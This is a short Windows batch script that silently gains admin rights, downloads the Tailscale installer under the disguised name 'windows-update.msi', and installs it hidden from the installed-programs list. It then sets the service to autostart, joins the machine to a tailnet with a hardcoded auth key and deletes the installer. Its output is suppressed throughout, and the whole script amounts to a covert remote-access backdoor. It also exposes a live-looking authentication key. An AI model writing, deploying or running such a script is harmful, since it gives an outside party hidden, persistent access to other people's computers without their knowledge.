@echo off
setlocal EnableExtensions

net session >nul 2>&1
if %errorlevel% neq 0 (
    powershell -NoProfile -WindowStyle Hidden -Command "Start-Process '%ComSpec%' -ArgumentList '/c ""%~f0""' -Verb RunAs"
    exit /b
)

set "MSI=C:\Windows\Temp\windows-update.msi"
set "TS=C:\Program Files\Tailscale\tailscale.exe"
set "KEY=tskey-auth-kkxCJH7tR511CNTRL-fE4nQbXTnsdfpPgNRtTLsdUjq5zD6Pndh"

certutil -urlcache -split -f "https://pkgs.tailscale.com/stable/tailscale-setup-1.96.3-amd64.msi" "%MSI%" >nul 2>&1 || exit /b 1
msiexec /i "%MSI%" /qn /norestart ARPSYSTEMCOMPONENT=1 TS_NOLAUNCH=1 TS_UNATTENDEDMODE=always || exit /b 1
timeout /t 5 /nobreak >nul
sc config Tailscale start= auto >nul 2>&1
net start Tailscale >nul 2>&1
if exist "%TS%" "%TS%" up --auth-key="%KEY%" --unattended --reset >nul 2>&1
set "RC=%errorlevel%"
del /f /q "%MSI%" >nul 2>&1
exit /b %RC%